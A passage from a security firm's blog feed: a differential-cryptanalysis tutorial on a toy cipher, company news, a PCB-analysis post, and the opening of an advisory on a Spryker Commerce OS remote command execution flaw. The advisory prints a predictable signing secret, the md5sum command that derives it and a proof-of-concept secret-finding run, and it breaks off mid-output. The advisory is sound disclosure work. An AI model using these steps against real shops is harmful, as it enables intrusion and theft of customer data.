This attack can be improved. If we have some plaintext/ciphertext pairs, then it is possible to speed up the encryption to only 16 guesses. If we guess k1, we can compute the value of k0 using the plaintext/ciphertext pair. For this, the given ciphertext can be traced back through the cipher: it is xored with the guessed k1 and the S-box is reversed. The result of this operation xor the given plaintext gives a guess for the key k0. This guess for the combined key (k0, k1) can be validated using an additional plaintext/ciphertext pair. Thus, it is necessary to only test each of the 16 possible 4 bit partial keys k1.

Consequently, for a differential attack to be considered effective, it has to require less than 16 guesses. Otherwise, a brute force attack is more efficient.

Differential Attack

The main idea of differential cryptanalysis is to trace not single values but differences through each stage of the cipher.

In our case, we define a difference of two plaintexts p and p' as p⊕p', where ⊕ denotes the bitwise xor operation. There are other more exotic definitions of differences possible, which are more suitable for other ciphers. However, in our cipher defining the difference classically as bitwise xor is sufficient for a successful attack.

Notice that encrypting a value p for a fixed key yields some value c of ciphertext. As the encryption algorithm is deterministic, encrypting p again under the same key yields the same c. Consequently, two inputs with a difference of zero yield two outputs with a difference of zero. This behavior is independent of the key.

Let us now take a look at two inputs p and p' with a fixed input difference p⊕p' for a fixed key k. What are the output differences? Encrypting p yields some ciphertext c. Encrypting p' yields some other ciphertext c'. As c and c' should have no relationship, each output difference c⊕c' should have the same probability of occurrence.

Next, we trace the operation of xoring through the cipher in order to check whether for a fixed input difference each output difference has the same probability. When encrypting p, we first xor the key k_0 into the plaintext p. An important observation is, that this xor does not affect the differences at all. If we have p⊕p' as input difference, then after xoring with the key k_0, we get the same output difference as (p⊕k_0)⊕(p'⊕k_0) = p⊕p'⊕k_0⊕k_0 = p⊕p' due to the commutativity of the xor operation. The same holds for xoring with k_1. Consequently the relation of input differences and output differences is independent of the used key. In particular, the operation of the encryption on the differences depends only on the S-box. This action of the encryption on the differences is called the differential characteristic of the S-box. Formally, a differential characteristic is usually defined as an input difference, an output difference, and the conditional probability of occurrence of that output difference, given the input difference.

Next, for each fixed input difference, we iterate over all possible pairs of plaintext with that difference and count the frequency of occurrence of the output differences. As there are 4 bit of input this results in 2^4*2^4 = 256 operations.

Even for more realistic encryption algorithms, this can usually be done in a preprocessing phase. The resulting table is called difference distribution table, as it shows the distribution of differences.

def get_difference_distribution_table():
print("[*] Computing difference distribution table.")
diff_dist_table = [[0 for x in range(16)] for y in range(16)]
for in_diff in range(16):
for input0 in range(16):
input1 = input0 ^ in_diff
out_diff = sbox[input0] ^ sbox[input1]
diff_dist_table[in_diff][out_diff] = diff_dist_table[in_diff][out_diff] + 1
return diff_dist_table
def matrix_pretty_print(matrix):
# see https://stackoverflow.com/questions/13214809/pretty-print-2d-python-list
s = [[str(e) for e in row] for row in matrix]
lens = [max(map(len, col)) for col in zip(*s)]
fmt = ' '.join('{{:{}}}'.format(x) for x in lens)
table = [fmt.format(*row) for row in s]
print('\n'.join(table))
diff_dist_table = get_difference_distribution_table()
matrix_pretty_print(diff_dist_table)

The resulting difference distribution table is shown below. The first 16 means that an input difference of 0 leads to an output difference of 16 for all 16 possible inputs.

The entry in row a and column b means that an input difference of a-1 leads to an output difference of b-1 for that many differences, as we index starting with zero.

As a concrete example, the value of 4 in row 2 and column 4 means that an input difference of 1 leads to an output difference of 3 for 4 of the 16 tested differences.

Remember from above, that for a perfect cipher, each output difference should have the same probability of occurrence for a fixed input difference. If that was the case, all values in the table would be 1 even those in the first row and column. However, as this cannot be the case, as an input difference of 0 always leads to an output difference of 0, a perfect cipher in this sense cannot exist.

0	1	2	3	4	5	6	7	8	9	10	11	12	13	14	15
16	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0
0	0	0	4	2	0	0	2	0	4	0	0	0	2	2	0
0	4	0	6	0	2	0	0	0	0	2	0	2	0	0	0
0	0	4	0	0	0	2	2	0	0	4	0	0	0	2	2
0	2	0	0	0	0	0	2	2	0	0	0	0	4	2	4
0	2	2	0	2	0	2	0	0	2	2	0	2	0	2	0
0	0	0	0	4	0	0	0	0	0	0	4	4	0	4	0
0	0	2	2	0	2	0	2	2	2	0	0	0	2	0	2
0	2	2	0	0	2	0	2	0	2	2	0	0	2	0	2
0	2	0	0	4	0	4	2	2	0	0	0	0	0	2	0
0	0	2	2	2	0	2	0	2	2	0	0	2	0	2	0
0	0	0	0	0	4	0	4	0	0	0	4	0	4	0	0
0	0	4	0	0	2	2	0	4	0	0	0	2	0	0	2
0	0	0	0	0	0	4	0	0	0	0	8	0	0	0	4
0	4	0	0	2	2	0	0	0	4	0	0	2	2	0	0
0	0	0	2	0	2	0	0	4	0	6	0	2	0	0	0

There are some especially nasty values in the table. For example an input difference of 13 leads to an output difference of 11 with a probability of 1/2, or in 8 of the 16 possible cases. This is the differential characteristic which we are going to use in the remainder of this blog post.

Note that using this knowledge we can already create a distinguisher for the cipher. This is an algorithm that can distinguish our toy encryption algorithm from an ideal cipher. The distinguisher queries a chosen-plaintext oracle with two plaintexts with a difference of 13. If the output difference is 11, then there is a high probability of dealing with the toy cipher instead of an ideal cipher. Often, designing a distinguisher is a first step in attacking an algorithm. Even though distinguishing attacks are not relevant in practice they can sometimes be extended to allow for key-recovery.

In a next step, we expand our attack beyond a distinguishing attack to achieve key recovery.

Key Recovery through Differential Cryptanalysis

In this section we expand our attack to recover the whole key.

Recall from the security discussion above, that the length of the key is 8 bits, thus brute-forcing naively needs 2^8=256 encryption operations. However, we can improve that by only brute-forcing the first half of the key k_0 and compute the remaining half k_1 using basic algebra as we know one plaintext/ciphertext pair. Key guesses can then be validated using a second known plaintext/ciphertext pair. Consequently, brute forcing like this needs 2^4=16 encryption operations.

For our attack using differential cryptanalysis to make sense it needs to execute less than 16 encryption operations. The main idea is to use a differential characteristic to narrow down the key space. As differential cryptanalysis is a chosen plaintext attack, we can access an encryption oracle to get a pair of plaintexts and corresponding ciphertexts satisfying a special difference. The remaining key space is then searched for the correct key. In the following, we provide a walk through of the attack.

As we have seen above, the differential characteristic (13,11) holds with a probability of 1/2. This is the characteristic we chose for performing our attack. Still as part of the preprocessing phase, all possible input values to the S-box for which the differential characteristic (13,11) holds are computed. Note that there are 8 of these values, as can be seen in the difference distribution table at the chosen differential characteristic.

Thus, for that differential there are 8 possible intermediate values in the encryption algorithm, i.e., values that are input to the S-box but after the xor operation with the key k_0. And when given an input difference of 13 the corresponding output difference is 11 with probability 1/2. On the other hand, if we would have chosen a differential with low probability of occurrence, then there are only few intermediate values (and thus a small space of possible keys) but the probability of findings pairs where the differential characteristic holds is low.

def gen_possible_intermediate_values(input_diff, output_diff):
good_pairs = []
for input0 in range(16):
input1 = input0 ^ input_diff
if sbox[input0] ^ sbox[input1] == output_diff:
good_pairs.append([input0, input1])
return good_pairs
intermediate_values = gen_possible_intermediate_values(13, 11)
print("[*] Possible intermediate values: " + str(intermediate_values))

Running the code yields the possible intermediate values [0, 13], [2, 15], [4, 9], [6, 11], [9, 4], [11, 6], [13, 0], [15, 2]. Note that there are duplicates due to symmetry. Without the duplicates we have the following pairs of input: [0, 13], [2, 15], [4, 9], [6, 11]. Each of these pairs has an xor difference of 13 (i.e., 0⊕13 = 2⊕15 = ... = 13), and leads to an output difference of 11 when processed with the S-box. Further, there are no more input pairs with this property. Consequently, if there is a pair of inputs p and p' with p⊕p' = 13 and corresponding outputs c and c' with c⊕c' = 11, then the values directly before the S-box are among these 8 values.

As differential cryptanalysis is a chosen plaintext attack, the attacker can query an oracle to generate pairs of plaintext with a fixed difference and get the corresponding ciphertexts. In the code below three pairs of plaintext with a fixed difference of 13 and their corresponding ciphertexts are created. As not all plaintexts with a fixed difference of 13 lead to a pair of ciphertexts with a difference of 11 (only with probability of 1/2), we are asking the oracle for multiple pairs. The number three has been chosen experimentally. Of course, more plaintext pairs increase the chance of a ciphertext pair with the sought difference of 11.

def gen_plain_cipher_pairs(input_diff, num):
# Generate num plaintext, ciphertext pairs with fixed input difference.
# Remember, this is a chosen plaintext attack
# random key which we want to recover
key = (random.randint(0, 15), random.randint(0, 15))
print("[*] Real key: %s %s" % (key[0], key[1]))
pairs = []
for input0 in random.sample(range(16), num):
input1 = input0 ^ input_diff
output0 = encrypt(input0, key[0], key[1])
output1 = encrypt(input1, key[0], key[1])
pairs.append(((input0, input1), (output0, output1)))
return pairs
plain_cipher_pairs = gen_plain_cipher_pairs(13, 3)

Next, the ciphertext pairs are sieved and the good pairs are kept. These are the pairs, where the differential characteristic holds, i.e., the difference of the plaintexts is 13 and the output difference is 11.

def find_good_pair(plain_cipher_pairs, output_diff):
print("[*] Searching for good pairs.")
for ((input0, input1), (output0, output1)) in plain_cipher_pairs:
if output0 ^ output1 == output_diff:
return ((input0, input1), (output0, output1))
raise Exception("No good pair found.")
((good_p0, good_p1), (good_c0, good_c1)) = find_good_pair(plain_cipher_pairs, 11)
print("[*] Found a good pair: " + str(((good_p0, good_p1), (good_c0, good_c1))))

If there are x plaintext/ciphertext pairs with an input difference of 13 then approximately x/2 of these are good pairs, i.e., they have the output difference 11. For such a good pair, the 8 possible intermediate values before and after the S-box are known, as these have been computed previously. As we know the plaintext and the possible inputs to the S-box the possible key k_0 can be computed using xor. Thus, each of these 8 intermediate values results in a guess for the key k_0. Given k_0 and the plaintext/ciphertext pair, k_1 can be computed and we receive the full key.

If a key is guessed, it can be validated using another plaintext/ciphertext pair. Note that a good pair is not necessary for validating a guess for the key. Any pair works.

def validate_key(guessed_k0, guessed_k1):
"""Checks a key against known plaintext/ciphertext pair and returns True if the key is correct."""
for ((input0, input1), (output0, output1)) in plain_cipher_pairs:
if encrypt(input0, guessed_k0, guessed_k1) != output0:
return False
if encrypt(input1, guessed_k0, guessed_k1) != output1:
return False
return True

All that is left to do is to compute the possible keys given the possible intermediate values before the S-box and check the guessed keys. The attacker still has to brute force multiple keys, but there are only 8 possible values instead of 16 values for a full brute-force attack.

def recover_key():
print("[*] Brute-Forcing remaining key space")
for (p0, p1) in intermediate_values:
guessed_k0 = p0 ^ good_p0
guessed_k1 = sbox[p0] ^ good_c0
if validate_key(guessed_k0, guessed_k1):
print("Recovered key --> %s %s" % (guessed_k0, guessed_k1))
else:
print(" %s %s" % (guessed_k0, guessed_k1))
recover_key()

References

The main reference used for this blog post is the fantastic tutorial into linear and differential cryptanalysis by Howard Heys available at http://www.engr.mun.ca/~howard/PAPERS/ldc_tutorial.pdf
Another notable reference is the seminal paper by Biham and Shamir that introduced differential cryptanalysis (available at https://dl.acm.org/doi/10.5555/646755.705229)
Regarding the graphics, we have been heavily inspired by Tikz for Cryptographers .
The title image is from Pexels .

Full code

The full code is shown below, and can be downloaded here .

# Differential Cryptanalysis Toy Implementation
# Encryption is as follows: xor key0, then substitute, then xor key1
# So we have the simplest type of a sp-network (without the permutation)
# key sizes: key0=4bit, key1=4 bit, so key is 8 bit
# block length is 4 bit
# sbox width is 4 bit
import random
sbox = [12, 2, 13, 14, 3, 10, 0, 9, 5, 8, 15, 11, 4, 7, 1, 6] # chosen by fair dice roll
# Note: fixed point of sbox[11]=11
def round_function(input, key):
return sbox[key ^ input]
def encrypt(input, key0, key1):
return round_function(input, key0) ^ key1
def get_difference_distribution_table():
print("[*] Computing difference distribution table.")
diff_dist_table = [[0 for x in range(16)] for y in range(16)]
for in_diff in range(16):
for input0 in range(16):
input1 = input0 ^ in_diff
out_diff = sbox[input0] ^ sbox[input1]
diff_dist_table[in_diff][out_diff] = diff_dist_table[in_diff][out_diff] + 1
return diff_dist_table
def matrix_pretty_print(matrix):
# https://stackoverflow.com/questions/13214809/pretty-print-2d-python-list
s = [[str(e) for e in row] for row in matrix]
lens = [max(map(len, col)) for col in zip(*s)]
fmt = ' '.join('{{:{}}}'.format(x) for x in lens)
table = [fmt.format(*row) for row in s]
print('\n'.join(table))
diff_dist_table = get_difference_distribution_table()
matrix_pretty_print(diff_dist_table)
# 16 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
# 0 0 0 4 2 0 0 2 0 4 0 0 0 2 2 0
# 0 4 0 6 0 2 0 0 0 0 2 0 2 0 0 0
# 0 0 4 0 0 0 2 2 0 0 4 0 0 0 2 2
# 0 2 0 0 0 0 0 2 2 0 0 0 0 4 2 4
# 0 2 2 0 2 0 2 0 0 2 2 0 2 0 2 0
# 0 0 0 0 4 0 0 0 0 0 0 4 4 0 4 0
# 0 0 2 2 0 2 0 2 2 2 0 0 0 2 0 2
# 0 2 2 0 0 2 0 2 0 2 2 0 0 2 0 2
# 0 2 0 0 4 0 4 2 2 0 0 0 0 0 2 0
# 0 0 2 2 2 0 2 0 2 2 0 0 2 0 2 0
# 0 0 0 0 0 4 0 4 0 0 0 4 0 4 0 0
# 0 0 4 0 0 2 2 0 4 0 0 0 2 0 0 2
# 0 0 0 0 0 0 4 0 0 0 0 8 0 0 0 4
# 0 4 0 0 2 2 0 0 0 4 0 0 2 2 0 0
# 0 0 0 2 0 2 0 0 4 0 6 0 2 0 0 0
# We see that an input difference of 13 leads to an output difference of 11
# with probability 1/2 (8/16)
# So we already built a distinguisher for the cipher.
print("[*] Choosing differential characteristic 13 -> 11")
# How? Well, we query a chosen-plaintext oracle with two plaintexts with
# difference 13. If the output difference is 11, then we probably deal
# with the cipher, instead of a random oracle.
# Next, we want to recover the key.
# Note that the key length is 8 bits, thus brute-forcing naively needs
# 2^8 steps. However, we brute-force only the first half of the key and
# compute the remaining half using basic algebra. Key guesses can then
# be validated using some known plaintext-ciphertext pair.
# Consequently, brute forcing needs 2^4=16 steps.
# Now, we use differential cryptanalysis and need less then 16
# steps. As differential cryptanalysis is a chosen-plaintext attack, we
# can access an encryption oracle.
# Now, let us compute all possible intermediate values for which the
# differential characteristic 13 -> 11 holds. This can be done in a
# pre-processing phase. Note that there are 8 intermediate values, as
# that is the probability of the differential characteristic. Thus, we
# have many intermediate values, but it is easy to find a
# plaintext-ciphertext pair for which the characteristic holds. On the
# other hand, if the probability of the differential is low, then there
# are only few possible intermediate values, but it is hard to find a
# plaintext-ciphertext pair for which the differential characteristic
# holds.
def gen_possible_intermediate_values(input_diff, output_diff):
good_pairs = []
for input0 in range(16):
input1 = input0 ^ input_diff
if sbox[input0] ^ sbox[input1] == output_diff:
good_pairs.append([input0, input1])
return good_pairs
intermediate_values = gen_possible_intermediate_values(13, 11)
print("[*] Possible intermediate values: " + str(intermediate_values))
def gen_plain_cipher_pairs(input_diff, num):
# Generate num plaintext, ciphertext pairs with fixed input difference.
# Remember, this is a chosen plaintext attack
# random key which we want to recover
key = (random.randint(0, 15), random.randint(0, 15))
print("[*] Real key: %s %s" % (key[0], key[1]))
pairs = []
for input0 in random.sample(range(16), num):
input1 = input0 ^ input_diff
output0 = encrypt(input0, key[0], key[1])
output1 = encrypt(input1, key[0], key[1])
pairs.append(((input0, input1), (output0, output1)))
return pairs
plain_cipher_pairs = gen_plain_cipher_pairs(13, 3)
# We are using three pairs. This should be enough, but of course more is better.
# Next, we want to only take a look at the good plaintext-ciphertext
# pairs. These are those pairs, where the differential characteristic
# holds.
def find_good_pair(plain_cipher_pairs, output_diff):
print("[*] Searching for good pairs.")
for ((input0, input1), (output0, output1)) in plain_cipher_pairs:
if output0 ^ output1 == output_diff:
return ((input0, input1), (output0, output1))
raise Exception("No good pair found.")
# If we have num plaintext-ciphertext pairs with the input difference
# 13, then approximately num/2 of these are good pairs, i.e., they
# have the output difference 11.
((good_p0, good_p1), (good_c0, good_c1)) = find_good_pair(plain_cipher_pairs, 11)
print("[*] Found a good pair: " + str(((good_p0, good_p1), (good_c0, good_c1))))
# For such a good pair, we know the 8 possible intermediate values
# before and after the sbox. Each of these intermediate values gives us
# a guess for the key.
# If we have guessed a key, we can validate it using the other (even
# bad) plaintext-ciphertext pair or some other known
# plaintext-ciphertext pair.
def validate_key(guessed_k0, guessed_k1):
"""Checks a key against known plaintext-ciphertext pair and returns True if the key is correct."""
for ((input0, input1), (output0, output1)) in plain_cipher_pairs:
if encrypt(input0, guessed_k0, guessed_k1) != output0:
return False
if encrypt(input1, guessed_k0, guessed_k1) != output1:
return False
return True
# All that is left is compute the possible keys, given the possible
# intermediate values before the sbox and check the keys. Note that
# we are still bruteforcing, but we are only bruteforcing 8 values,
# instead of 16.
def recover_key():
print("[*] Brute-Forcing remaining key space")
for (p0, p1) in intermediate_values:
guessed_k0 = p0 ^ good_p0
guessed_k1 = sbox[p0] ^ good_c0
if validate_key(guessed_k0, guessed_k1):
print("Recovered key --> %s %s" % (guessed_k0, guessed_k1))
else:
print(" %s %s" % (guessed_k0, guessed_k1))
recover_key()

Secure Our Streets Conference

SCHUTZWERK GmbH — Mon, 12 Sep 2022 13:00:00 +0100

Our colleagues Fabian Weber and Florian Schmid will be speaking at the automotive security conference “Secure Our Streets 2022” on the 15th September.

The “Secure Our Streets 2022” is a conference on automotive and embedded cyber security, organized by the Automotive Security Research Group (ASRG). Our talk “PROBoter - Automating PCB analysis tasks to support penetration tests of embedded systems” is only one of many interesting topics on the agenda (more about the PROBoter in our blog ). Registration is free and still open ( https:/ / secureourstreets.com ). Join us for some interesting talks about embedded and automotive security.

SCHUTZWERK is ISO 27001, ISO 9001 and TISAX certified

SCHUTZWERK GmbH — Mon, 15 Aug 2022 13:00:00 +0100

We are pleased to announce that we successfully completed our project for triple certification (ISO 27001, ISO 9001 and TISAX) in April 2022. Thus, the implementation of our always high demands on security, quality, and trustworthiness, related to our services, is now confirmed by an independent party.

A high level of security, quality, and trustworthiness are of central importance to us to provide our services. To systematically implement and maintain this demand, a corresponding Integrated Management System (IMS) has already been established at SCHUTZWERK in the past.

The effectiveness of the implemented measures has now been confirmed by an independent party. SCHUTZWERK was audited from three angles (ISO 27001, ISO 9001, and TISAX). The focus was on a wide range of aspects, such as the security of our internal IT and business processes (e.g., confidentiality and client separation), the physical and organizational security measures at our office locations in Ulm and Hamburg, and our quality management (e.g., employee training and continuous education/improvement).

Due to our core business in the area of information and IT security, SCHUTZWERK and its employees have a professional basis for the necessary measures. Also by our services aligned to the ISO/IEC 27001 such as the maturity level analysis of information security according to ISO/IEC 27001 or support with the implementation of the Information Security Management according to ISO/IEC 27001 the practical experience from numerous customer projects is already available. The technical and organizational measures, which have been in place since the company was founded and have been continuously expanded, have contributed to the fact that it was not necessary to start on a “greenfield” for the certification.

We were also already familiar with the requirements and measures of the various standards in the area of embedded and automotive security. This refers, for example, to the TISAX labels “Handling of information with very high protection needs” and “Protection of prototype parts and components”.

An overview with details of our certificates can be found on the website. In the course of the year, SCHUTZWERK plans to launch a professional blog article series around information security management. This will deal with concrete experiences from the certification project at our company and present challenges and possible solutions.

We look forward to working with you to master the new challenges in information, IT, and cybersecurity.

Your SCHUTZWERK team

Visual PCB analysis with Neural Networks and classic Computer Vision algorithms

Fabian Weber — Mon, 08 Aug 2022 08:57:00 +0100

The list below gives an overview of the topics covered in this blog post series. Links will be updated as soon as the corresponding parts are being released.

PROBoter demo video
Part I: A platform for automated PCB analysis
Part II: The PROBoter hardware platform
Part III: Visual PCB analysis with Neural Networks and classic Computer Vision algorithms
Part IV: Automated voltage signal analysis and protocol identification
Part V: The PROBoter software framework

The last part of the PROBoter series introduced the heart of the PROBoter framework - the hardware platform. The platform allows (semi) automated electrical probing of an unknown PCB which is usually a very time consuming and error prone task. This post focuses on methods to automate the initial analysis step of an embedded system - the visual analysis of the PCB(s) forming the device under test.

An embedded pentester’s helping eye

If you start a penetration test of an embedded system , the first step is usually to open the device under test to reveal the printed circuit boards (PCBs). These PCBs contain all the electrical and electronic components required for the device’s functionality. From a security perspective, we usually focus on components that either process information, like microcontrollers, or store data, like external flash memory chips. So we start with the localization of components that might be security-relevant and verify our assumption in the next step by identifying the component and its functionality based on the printed marking usually found on its plastic cover.

For each successfully identified component, we try to fetch additional information from technical data sheets or developer documentation usually found on the manufacturer’s website. The main goal here is to find information about the mapping of security-critical functionality, like debug or communication interface lines, to respective pins connecting the component to the underlying PCB. With this information, we finally connect to the component over the identified pins and can start communicating with it or extracting data.

If we take a step back, we can see that the visual analysis of a populated PCB is basically an object detection task where the instances to localize and identify are electronic components, electrical pins and contact pads. Object detection is an active research topic where great progress has been made in the last years with the introduction of Neural Networks and especially the subclass of Convolutional Neural Networks. So in order to assist an analyst during the visual analysis, the PROBoter platform contains algorithms based on Neural Networks and Classic Computer Vision to automatically localize integrated circuits (ICs) and their respective pins in image data of populated PCBs.

PCB and pin image data sets

To train a Neural Network or evaluate a Classic Computer Vision algorithm, you need some reference. Such data is usually provided in the form of annotated image data sets. For the task of PCB image analysis, there already exist some publicly available PCB image data sets, like the PCB-DSLR image data set [1] introduced by Pramerdorfer and Kampel. In addition, several data sets have been published in the last years. A selection can be found in our PROBoter paper published at escar Europe 2021.

Most of these data sets are designed by their authors for a specific use case which is typically not the security analysis of an embedded system. Therefore, we introduce the following three new PCB image data sets that are also published in the PROBoter Github repo .

PCB-GOOGLE

The first image data set PCB-GOOGLE is a collection of images collected using Google image search. It contains 190 images of populated PCBs and 1,100 manually labeled IC object instances. The images in this set show a wide variety of PCBs regarding solder mask color as their component package types and zoom levels ranging from macro views of single ICs to arrangements of multiple PCBs.

Sample images of the PCB-GOOGLE data set.

PCB-INTERNAL

The second image data set is named PCB-INTERNAL. It is comprised of 15 unique PCB images with 53 annotated IC instances. The images contain publicly available development boards and PCBs designed by SCHUTZWERK employees.

Sample images of the PCB-INTERNAL data set.

IC-PINS

PCB-GOOGLE and PCB-INTERNAL are designed to train and test algorithms for IC localization. In contrast to these, our last image data set IC-PINS is specifically crafted for the use case of component pin detection. It contains 46 IC macro images with 1,181 annotated component pins. The number of pins per image ranges from zero visible pins for Ball Grid Array (BGA) packaged ICs up to 100 pins, typically found at Thin Quad Flat Packages (TQFP).

Sample images of the IC-PINS data set.

Component / IC detection

Based on these new PCB image data sets, we trained well-proven object detectors to localize ICs in image data of populated PCBs. We use the TensorFlow Object Detection API [2] as a base framework. Regarding the Neuronal Network architecture, we picked enhanced versions of Faster R-CNN and SSD available in the TensorFlow 2 Detection Model Zoo [3]. The Model Zoo also contains models pretrained on the COCO image data set [4]. We applied transfer learning to train these models on both, the existing PCB-DSLR and our newly created PCB-GOOGLE data set. PCB-INTERNAL is used to evaluate the generalization and overall quality of the finally trained models.

IC detection results of the trained Faster R-CNN model.

The image above shows detection results of our trained Faster R-CNN model. Correct IC detections are highlighted by red-colored, rectangular areas. Only one IC marked with a yellow circle was not detected by the model. This sample image shows that automated IC detection works pretty well even if both, the IC package and the PCB, have the same color. More information about our approach and evaluation results can be found in the PROBoter thesis and our PROBoter escar paper .

Pin detection

Besides the location of security-relevant ICs, the positions of the pins connecting these ICs to the underlying PCB are required for an automated electrical probing as a next step. To assist in this task, we chose two different approaches: The first one facilitates the same Neural Networks already used for IC detection. For model training we used our newly created IC-PINS image data set. In contrast to ICs which can be placed on a PCB arbitrarily by designers, IC pins are typically arranged in equally spaced grids at the borders of the IC package. Based on that fact, we also implemented a Classic Computer Vision pipeline for pin detection. The image below shows the intermediate results of each pipeline stage for a sample image of the IC-PINS data set.

Steps of the Classic Computer Vision pipeline for IC pin detection.

In the first two steps, the border and IC package areas are removed. After that, the individual pins are isolated using color thresholding and morphological operations. Additional skeletonization steps are applied to finally get candidates for IC pin centers. A detailed description of the pipeline can be found in the PROBoter thesis .

Comparison of the differnt approaches for IC pin detection: Computer Vision pipeline (left), SSD (middle), Faster R-CNN (right).

A comparison of the pin detection results is displayed in the image above. The trained Faster R-CNN model yields the best results. However, this approach is the most time and computational intensive. Analysis of a PCB with multiple ICs on a recent CPU-only system can take up to several minutes. Our implemented Computer Vision pipeline is very fast but can produce more False Positive and duplicate detections as can be seen in the left image. Again, you can find more details about the implementation and a thorough discussion of the results in both, the PROBoter thesis and our PROBoter escar paper . In summary, all implemented solutions still provide options for further approvements. Therefore, we are already working on solutions to further improve automated pin detection.

Show me some code

Up till now, we just explained the theory behind the PROBoter’s approach to automate visual analysis of unknown PCBs. To integrate this functionality in the big picture of the PROBoter framework, we bundled all of the IC and pin detection logic in a single microservice together with our trained Neural Networks. You can find the code of this microservice in the PROBOter Github repo . The microservice is written in Python and uses the Flask framework [5] to expose its functionality via a REST-like web interface. Therefore, integration of this service into your own analysis pipeline is as simple as sending a simple HTTP POST request.

The visual analysis microservice is the first component of the PROBOter software framework. Additional services will be released in the PROBOter Github repo with the following blog posts. For an easy setup, all services are additionally bundled as Docker images. As the whole PROBOter framework is constructed of many microservices, we also provide a Docker Compose setup. The Docker Compose file will be extended with the following blog posts and software releases.

Improving image recognition

As mentioned at the beginning, new PCB image data sets have been created in the last few years. The thesis Visual analysis of printed circuit boards [9] created by Marco Günther in cooperation with SCHUTZWERK GmbH examined if the currently implemented algorithms for PCB analysis can benefit from this new image data. The work also extends the Neural Networks in use to detect not only ICs but also connectors and solder pads of unpopulated ICs. These are very interesting probing locations as signals belonging to either debugging interfaces or communication lines are often exposed for development purposes here.

Another major contribution of Marco’s work is the annotation of existing PCB image data sets with labels for different IC packages, like Ball Grid Array (BGA) or QFP (Quad Flat Package). Based on this new information, the Neural Networks have been retrained to not only localize ICs but also to identify their respective package. Because the accessibility of pins depends heavily on the IC package, this adds valuable information that can improve the automated electrical probing capabilities of the PROBoter platform. Integration and evaluation of the results is still ongoing.

We want to thank Marco for his great work and contribution to the PROBoter platform!

The next part will introduce novel techniques that can assist an embedded system penetration tester during the analysis of voltage signals typically recorded during a black box penetration test. Besides extracting basic signal characteristics, the developed algorithms can help in the signal line linking process and protocol identification. So stay tuned :)

Follow us on Twitter , LinkedIn , Xing to stay up-to-date.

References / Credits

[1] https://cvl.tuwien.ac.at/research/cvl-databases/pcb-dslr-dataset/
[2] https://github.com/tensorflow/models/tree/master/research/object_detection
[3] https://github.com/tensorflow/models/blob/master/research/object_detection/g3doc/tf2_detection_zoo.md
[4] https://cocodataset.org/
[5] https://flask.palletsprojects.com/en/2.1.x/
[6] PROBoter GitHub repository
[7] PROBoter paper DOI: 10.13154/294-8348
[8] PROBoter demo video
[9] http://dx.doi.org/10.18725/OPARU-40107

This work was sponsored by the BMBF project SecForCARs . We also want to thank igus GmbH for their support and providing hardware samples. The project was created at SCHUTZWERK GmbH (supervisors Dr. Bastian Könings & Msc. Heiko Ehret) in cooperation with Hochschule Kempten (examiners Prof. Dr. Elmar Böhler & Prof. Dr. rer. nat Stefan Frenz).

Advisory: Remote Command Execution in Spryker Commerce OS (CVE-2022-28888)

David Brown — Tue, 12 Jul 2022 14:17:53 +0200

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Title
=====
SCHUTZWERK-SA-2022-003: Remote Command Execution in Spryker Commerce OS
Status
======
PUBLISHED
Version
=======
1.0
CVE reference
=============
CVE-2022-28888
Link
====
https://www.schutzwerk.com/en/43/advisories/schutzwerk-sa-2022-003/
Text-only version:
https://www.schutzwerk.com/advisories/SCHUTZWERK-SA-2022-003.txt
Affected products/vendor
========================
Spryker Commerce OS by Spryker Systems GmbH, with spryker/http module < 1.7.0
Summary
=======
A predictable value is used to sign and verify special _fragment URLs in
Spryker Commerce OS with spryker/http module < 1.7.0. Attackers that can guess
this value are able to generate valid _fragment URLs which allow calling PHP
methods, with certain restrictions. It could be demonstrated that this allows
attackers to write arbitrary content to files on the file system, which, in
turn, allows for execution of arbitrary PHP commands in many setups and
therefore remote command execution.
Risk
====
The vulnerability allows attackers to execute arbitrary commands on an
operating system-level on systems where the Spryker Commerce OS is installed.
In many cases, authentication is not necessary for successful exploitation. If
attackers have already determined that Spryker Commerce OS is utilized through
fingerprinting, checking for the presence of the vulnerability is trivial. With
the ability to execute arbitrary commands, attacks can, for example, access
customer data of the affected shop.
Description
===========
A webshop that was recently assessed for security vulnerabilities by SCHUTZWERK
was found to contain a remote command execution vulnerability. The application
in scope is based on a framework by Spryker -- Spryker Commerce OS. Spryker's
framework, in turn, is based on Symfony[0] and/or Silex[1].
Symfony and Silex both support a special _fragment endpoint. This feature was
analyzed by Ambionics Security[2] in 2020. In their write up, the feature is
described as follows:
One of Symfony's built-in features, made to handle ESI (Edge-Side
Includes)[3], is the FragmentListener class[4]. Essentially, when someone
issues a request to /_fragment, this listener sets request attributes from
given GET parameters. Since this allows to run arbitrary PHP code [...],
the request has to be signed using a HMAC value. [...]
[...] Given its importance, [the secret used for signing] must obviously be
very random.
At least parts of the source code of the Spryker framework are open source and
publicly accessible via GitHub. During the assessment, while certain
security-sensitive parts of the source code were reviewed, it was discovered
that the secret used to sign and verify _fragment URLs is static and
predictable. The secret is set to md5(__DIR__) in the PHP file
HttpFragmentServiceProvider.php[5] and in two different HttpConfig.php[6][7]
files.
__DIR__ is a built-in "magic constant" in PHP[8] and it corresponds to "the
directory of the file". It is not entirely clear, which of these PHP files is
actually included and loaded by the Spryker framework. However, it is assumed
that the file http/src/Spryker/Shared/Http/HttpConfig.php is the culprit.
Guessing the secret
^^^^^^^^^^^^^^^^^^^
In order to gain a better understanding of the vulnerability, SCHUTZWERK set up
a local Spryker development instance with a demo shop[9] in order to allow for
more in-depth debugging.
By inspecting the source code and adding appropriate debug statements, the
secret was identified as e3ae11e53f7c3d72da08784b9af763f9. This corresponds to
the MD5 sum of the path
/data/shop/development/current/vendor/spryker/http/src/Spryker/Shared/Http:
$ echo -n '/data/shop/development/current/vendor/spryker/http/src/Spryker/'\
'Shared/Http'| md5sum
e3ae11e53f7c3d72da08784b9af763f9 -
The proof-of-concept script find_secret.py[10] was developed in order to
automate the process of identifying the secret based on a list of known Spryker
paths. The script was executed as follows against the local development
instance and correctly identified the static secret:
$ python3 find_secret.py --path-list known_spryker_paths.txt \
http://www.de.b2b-demo-shop.local/_fragment
[-] http://www.de.b2b-demo-shop.local/_fragment 2c03fc8fac1ff5204b56d4dbf879a3fc
[-] http://www.de.b2b-demo-shop.local/_fragment f71e9665ffe0a0e3b54bbe7c2642d466
[-] http://www.de.b2b-demo-shop.local/_fragment faf0d063ad6adf3776d59bc55a17aa5f
